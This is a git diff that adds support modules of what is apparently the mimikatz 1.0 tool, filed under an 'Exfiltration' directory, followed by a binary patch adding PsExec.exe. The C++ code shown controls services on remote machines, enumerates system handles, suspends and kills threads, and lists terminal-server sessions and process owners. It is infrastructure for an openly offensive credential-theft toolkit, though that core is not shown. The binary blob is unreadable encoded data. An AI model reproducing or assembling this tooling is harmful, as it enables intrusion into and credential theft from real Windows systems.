ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) + { + if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::stop(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); +} + +bool mod_service::suspend(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); +} + +bool mod_service::resume(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h new file mode 100644 index 00000000..b4384543 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" + +class mod_service +{ +private: + static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); + +public: + typedef struct _KIWI_SERVICE_STATUS_PROCESS + { + wstring serviceName; + wstring serviceDisplayName; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; + + static bool getList(vector * monVectorService, wstring * machineName = NULL); + static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); + + static bool start(wstring * serviceName, wstring * machineName = NULL); + static bool suspend(wstring * serviceName, wstring * machineName = NULL); + static bool resume(wstring * serviceName, wstring * machineName = NULL); + static bool stop(wstring * serviceName, wstring * machineName = NULL); + + static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? + + static bool add(wstring * binPath, vector * arguments); // bla bla + static bool remove(wstring * serviceName, wstring * machineName = NULL); + static bool control(vector * arguments); + +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp new file mode 100644 index 00000000..7a79a767 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_system.h" + +OSVERSIONINFOEX mod_system::GLOB_Version; + +wstring mod_system::getWinError(bool automatique, DWORD code) +{ + bool reussite = false; + DWORD dwError = (automatique ? GetLastError() : code); + wostringstream resultat; + wchar_t * monBuffer = NULL; + + resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; + if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0)) + reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0; + + if(reussite) + { + resultat << L' ' << monBuffer; + LocalFree(monBuffer); + } + else resultat << L" * Impossible d\'obtenir un message *"; + + return resultat.str(); +} + +bool mod_system::getUserName(wstring * monUserName) +{ + bool reussite = false; + unsigned long tailleRequise = 0; + + if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) + { + monUserName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getComputerName(wstring * monComputerName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) + { + monComputerName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) +{ + RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); + maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + return (GetVersionEx(reinterpret_cast(maVersion)) != 0); +} + +bool mod_system::getCurrentDirectory(wstring * monRepertoire) +{ + bool reussite = false; + DWORD tailleRequise = GetCurrentDirectory(0, NULL); + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) + { + monRepertoire->assign(monBuffer); + reussite = true; + } + delete monBuffer; + return reussite; +} + +bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) +{ + bool reussite = false; + wchar_t monBuffer[MAX_PATH]; + + if(PathIsRelative(thisData.c_str())) + { + wstring monRep = L""; + if(reussite = getCurrentDirectory(&monRep)) + { + PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); + reponse->assign(monBuffer); + } + } + else + { + if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) + { + reponse->assign(monBuffer); + } + } + return reussite; +} + +bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) +{ + bool reussite = false; + HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) + { + CloseHandle(monFichier); + *resultat = true; + } + else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) + { + *resultat = false; + } + return reussite; +} + +bool mod_system::getSystemHandles(vector * mesHandles, DWORD * pid) +{ + bool reussite = false; + + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { + DWORD size = 0x10000; + BYTE * monBuffer = new BYTE[size]; + ULONG sizeReturn = 0; + NTSTATUS status; + + while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) + { + delete[] monBuffer; + size <<= 1; + monBuffer = new BYTE[size]; + } + + if(reussite = NT_SUCCESS(status)) + { + PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast(monBuffer); + for(DWORD i = 0; i < mesInfos->HandleCount; i++) + { + if(!pid || *pid == mesInfos->Handles[i].ProcessId) + mesHandles->push_back(mesInfos->Handles[i]); + } + } + + delete[] monBuffer; + } + + return reussite; +} + +bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) +{ + bool reussite = false; + + if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) + { + DWORD tailleRequise = 0; + + if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) + { + *buffer = new BYTE[tailleRequise]; + if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) + { + delete[] buffer; + } + } + } + + return reussite; +} + +bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) + { + POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast(monBuffer); + strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) + { + PUNICODE_STRING typeName = reinterpret_cast(monBuffer); + strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h new file mode 100644 index 00000000..7f411901 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ntddk.h" +#include +#include +#include +#include + +class mod_system +{ +private: + static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); + +public: + static wstring getWinError(bool automatique = true, DWORD code = 0); + + static bool getUserName(wstring * monUserName); + static bool getComputerName(wstring *monComputerName); + static bool getVersion(OSVERSIONINFOEX * maVersion); + + static bool isFileExist(std::wstring &fichier, bool *resultat); + static bool getCurrentDirectory(wstring * monRepertoire); + static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); + static bool getSystemHandles(vector * mesHandles, DWORD * pid = NULL); // type ?? + static bool getHandleType(HANDLE monHandle, wstring * strType); + static bool getHandleName(HANDLE monHandle, wstring * strName); + + static OSVERSIONINFOEX GLOB_Version; +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp new file mode 100644 index 00000000..98de9503 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp @@ -0,0 +1,101 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_text.h" + +PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); +PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); + +wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) +{ + wostringstream monStream; + for(DWORD j = 0; j < maTaille; j++) + { + monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; + if(longueur != 0) + { + monStream << L' '; + if ((j + 1) % longueur == 0) + monStream << endl; + } + } + return monStream.str(); +} + +wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) +{ + wstring result; + if(monTab && maTaille > 0) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; + if(IsTextUnicode(monTab, maTaille, &flags)) + { + result.assign(reinterpret_cast(monTab), maTaille / sizeof(wchar_t)); + } + else + { + if(ligne) + result.assign(L"\n"); + result.append(stringOfHex(monTab, maTaille, longueur)); + } + } + else result.assign(L""); + + return result; +} + +void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) +{ + wstringstream z; + unsigned int temp; + for(size_t i = 0; i < maChaine.size() / 2; i++) + { + z.clear(); + z << maChaine.substr(i * 2, 2); z >> hex >> temp; + monTab[i] = temp; + } +} + +bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) +{ + if(str && suffix) + { + size_t str_len = wcslen(str), suffix_len = wcslen(suffix); + return wstr_ends_with(str, str_len, suffix, suffix_len); + } + return false; +} + +bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) +{ + if(str && suffix && (suffix_len <= str_len)) + return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); + return false; +} + +wstring mod_text::stringOfSTRING(UNICODE_STRING maString) +{ + return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); +} +string mod_text::stringOfSTRING(STRING maString) +{ + return string(maString.Buffer, maString.Length); +} + +void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) +{ + RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); + RtlInitUnicodeString(LsaString, monBuffer); +} + +LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) +{ + LUID monLUID = {0, 0}; + wstringstream z; + z << highPart; z >> monLUID.HighPart; + z.clear(); + z << lowPart; z >> monLUID.LowPart; + return monLUID; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h new file mode 100644 index 00000000..aeadd95e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h @@ -0,0 +1,31 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +using namespace std; + +class mod_text +{ +public: + static PRTL_INIT_STRING RtlInitString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + + static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); + static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); + static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); + + static wstring stringOfSTRING(UNICODE_STRING maString); + static string stringOfSTRING(STRING maString); + + static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); + static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); + + static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); + static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp new file mode 100644 index 00000000..d57b4f4d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_thread.h" + +bool mod_thread::getList(vector * monVecteurThreads, DWORD * processId) +{ + bool reussite = false; + + HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadsSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 monThread; + monThread.dwSize = sizeof(THREADENTRY32); + + if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) + { + do + { + if(!processId || (*processId == monThread.th32OwnerProcessID)) + monVecteurThreads->push_back(monThread); + } while(Thread32Next(hThreadsSnapshot, &monThread)); + } + CloseHandle(hThreadsSnapshot); + } + + return reussite; +} + +bool mod_thread::suspend(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + SuspendThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::resume(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + ResumeThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::stop(DWORD & threadId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + TerminateThread(monHandle, exitCode); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::quit(DWORD & threadId) +{ + return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h new file mode 100644 index 00000000..a2f62f95 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_thread +{ +public: + static bool getList(vector * monVecteurThreads, DWORD * processId = NULL); + + static bool suspend(DWORD & threadId); + static bool resume(DWORD & threadId); + static bool stop(DWORD & threadId, DWORD exitCode = 0); + static bool quit(DWORD & threadId); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp new file mode 100644 index 00000000..97c5fb03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp @@ -0,0 +1,106 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_ts.h" + +bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) +{ + bool reussite = false; + + if(reussite = !server) + { + *phServer = WTS_CURRENT_SERVER_HANDLE; + } + else + { + wchar_t * serverName = _wcsdup(server->c_str()); + *phServer = WTSOpenServer(serverName); + delete[] serverName; + reussite = *phServer != NULL; + } + return reussite; +} + +bool mod_ts::closeServer(HANDLE hServer) +{ + if(hServer != WTS_CURRENT_SERVER_HANDLE) + WTSCloseServer(hServer); + + return true; +} + +bool mod_ts::getSessions(vector * mesSessions, wstring * server) +{ + bool reussite = false; + + PWTS_SESSION_INFO tabSessions; + DWORD nbSessions = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) + { + for(DWORD i = 0; i < nbSessions; i++) + { + KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; + mesSessions->push_back(a); + } + WTSFreeMemory(tabSessions); + } + closeServer(hServer); + } + + return reussite; +} + +bool mod_ts::getProcesses(vector * mesProcesses, wstring * server) +{ + bool reussite = false; + + PWTS_PROCESS_INFO tabProcess; + DWORD nbProcess = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) + { + for(DWORD i = 0; i < nbProcess; i++) + { + KIWI_WTS_PROCESS_INFO a = { + tabProcess[i].SessionId, + tabProcess[i].ProcessId, + tabProcess[i].pProcessName + }; + + wstring user; + wstring domain; + if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) + { + a.userSid.assign(domain); + a.userSid.push_back(L'\\'); + a.userSid.append(user); + } + else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) + { + if(tabProcess[i].pUserSid) + { + a.userSid.assign(L"erreur SID ; "); + a.userSid.append(mod_system::getWinError()); + } + else + a.userSid.assign(L"n.a."); + } + + mesProcesses->push_back(a); + } + WTSFreeMemory(tabProcess); + } + closeServer(hServer); + } + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h new file mode 100644 index 00000000..6815bb89 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h @@ -0,0 +1,35 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" +#include "mod_system.h" +#include + +class mod_ts +{ +private: + static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); + static bool closeServer(HANDLE hServer); + +public: + typedef struct _KIWI_WTS_SESSION_INFO { + DWORD id; + DWORD state; + wstring sessionName; + } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; + + typedef struct _KIWI_WTS_PROCESS_INFO { + DWORD sessionId; + DWORD pid; + wstring processName; + wstring userSid; + } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; + + static bool getSessions(vector * mesSessions, wstring * server = NULL); + static bool getProcesses(vector * mesProcesses, wstring * server = NULL); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp new file mode 100644 index 00000000..a54c5b7e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_windows.h" + +BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS) +{ + DWORD processId = 0; + if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) + { + if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) + { + KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; + mesHWNDS->second->push_back(monEntree); + } + } + return TRUE; +} + + +bool mod_windows::getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId) +{ + return (EnumWindows(reinterpret_cast(enumHWNDCallback), reinterpret_cast(&make_pair *>(processId, mesHWNDS))) != FALSE); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h new file mode 100644 index 00000000..c5f98874 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_windows +{ +public: + typedef struct _KIWI_HWND_ENTRY + { + HWND monHandle; + DWORD pid; + DWORD threadId; + } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; + + static bool getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId = 0); +private: + static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp new file mode 100644 index 00000000..57b209e6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_winsta_desktop.h" + +BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) +{ + reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszWindowStation)); + return TRUE; +} + +BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) +{ + reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszDesktop)); + return TRUE; +} + + +bool mod_winsta_desktop::getWinstas(vector * mesWinstas) +{ + return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast(mesWinstas)) != 0); +} + +bool mod_winsta_desktop::getDesktops(vector * mesDesktop) +{ + return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast(mesDesktop)) != 0); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h new file mode 100644 index 00000000..34b9a94a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_winsta_desktop +{ +private: + static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); + static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); + +public: + static bool getWinstas(vector * mesWinstas); + static bool getDesktops(vector * mesDesktop); // ! +}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe new file mode 100644 index 0000000000000000000000000000000000000000..ed674807d6049ba54db25e032c9ec662a963f0f0 GIT binary patch literal 381816 zcmeFaad=eKwKsewnS=o*%zzV!8f1_OjRrM3pov5300~4*a3&!WA_Pz|9Y@+?m_fV} zOgu@O;V?+=i?`letWxN$ZN06nR={gDA(#Y31yQ78ZQ4ugjuSO1LeQA={eJt*BmwRB zyzle<@jcJ?eCV9B&)#dVz4qE`uf5jV`<#^Dx=l${6vd36t}Du3-1*NdumATKf#M0% zo|~XNGxpW#drf7pPG1tdYn^j#{rA69f7^GRcii^9?|nb)y!}pRedK%2yT0cvzNOOn z-S4ly^U92jajpdFxgWjJy5XVcPb7c$oGCa_f#-Y9Ty`QT?^m6;TbBRvM5lbd;lwBM zo_pdxdA~y5EAF}@NF4u+Vqb}(l$p%RV^eCZ-1skfS01-WrhQ~iC;u8HAYoZS-iL3@REpnBQM#EpoTeP_Cho+)=hKu8 zQ<4v8_Kp-Kd*tzJsV5GmkgAb?pflSbeI##G>dNq)8^U=0mqlokbg{1->{0)mX!gqb z)whLjQ&MRtfH%Gd*LG$7y81g%B>Rd!D=!1) z)33n+<^TWh|4k04eU?DAw$bGXd8_rzCvKas1lO*{WjQW-=975#>6uUAruDa+4(Eo< zv0|6i7n)w(RqVzO`Q0B@i8yd$p0LYaFIFyN#R~DWGDTSdAgfRO2ubawTJ?a7U6KFPzVJ?qK3{Pk0R3xs zJ`XlkY8h>~RcVB=u`LpzKf2Miv9noLP;id{g!iq9`$LKQw#5BMxTi(exR&6z z9KX3h`vmfkEX6N~-x~cGI-RRcT>?@;n*+3kQmdm&Tx(FeRzHdnaQKA_EJrE}9K~=r zD*QeI6}!p+z-N&P0J59In+rVo$v#d;A4ATOF39%sE5zTw(sfOsO3R0lxuG(#pPZIM zBy+n;*aropQEjIg6Z&d|y*7!oE zkmA=fm)x-c!n714)Y29i*9BPiG`>2x8`2SM#pRrdx=XPw0A#orLzP{Dd9}u`AI9@+ z5SHyj^Sm+NihngX#LdzJyRhVG==-1Td(t!n%CuPQ&%GoSeH~(`yhP9t|hiTr73=2 zbtnZDf{6;YJwEdy&lmN_v=YS^L~re~cnyo8szORYcEliNZ6Y@sb`{(91X9TRQlF%g z%m|2nP*o*9z!k&l!*Ep$^CnlD69$Y=b|l{~r8}!ayg=A3E~&!6U9e~6irQuFL&6P) zsRzQt+T_roran&B(6`a(l91vPvm}HyM2Ysz=Rj?AEzvU{$5>z}%lsI(dK9fLgPzqh zx1n(e#h9i8#L`h&6$qw00CXrie7jWLZ{h~BgW8-&02{JY0D%K^9tZD&p>YP~!O&8_ zCM5O2(5(c?f?A)Y^@FNxP=yAaz^{m{>{yvAtRAqs+c3(2EW^)--xB3a*X2d));jJw_&BVCe?PO)mBm?u*}~aV5G`|gk)20Vm@$?R@Cn0(zz@#l*#pGXBLzn#?^hW`URF_B3~5SVA^c=Hop-$o7Xij zwO=#G2n0F!M?l=SNKxD;AaU*w3#T$WT=XJu+LYMrtk{jp=5ehP<}YkM7&)!kV)vM~ zZJs!fh)VKai_QHn0;c{+y+Mf_hQPKuvX*u5o{f8w9%(FCwJF;E*jf|uS-e1YHm?(k z&Ee_agsBUr+5;6n@z+u*EG`I3^lH;}E8T4?_S=;tqQt$aFB?lla!GA=W#LI{cDZo7 z!j2ACYCBx{cnE0ExN>o?4&Sc|Q}|LBHh~qPTBS} zyJn*X!3%krdBtY{507!T^|qmWbY*Qotizhoy9@cy4tiz}u{_KtQ}XGDc&ZX>hIGAB z8-TRXcyR=+tq?KHQEAdZCgdW6dv1P~R}l-0*$jo{tN@S=I9*fnsRJCVtc=!%! z?Sa_Zlse6>wx!gyyb<|aj-2JlfH&`x*lHKJHnA@1n4q@H(oa^5)HDXHsn3B%M#jsI 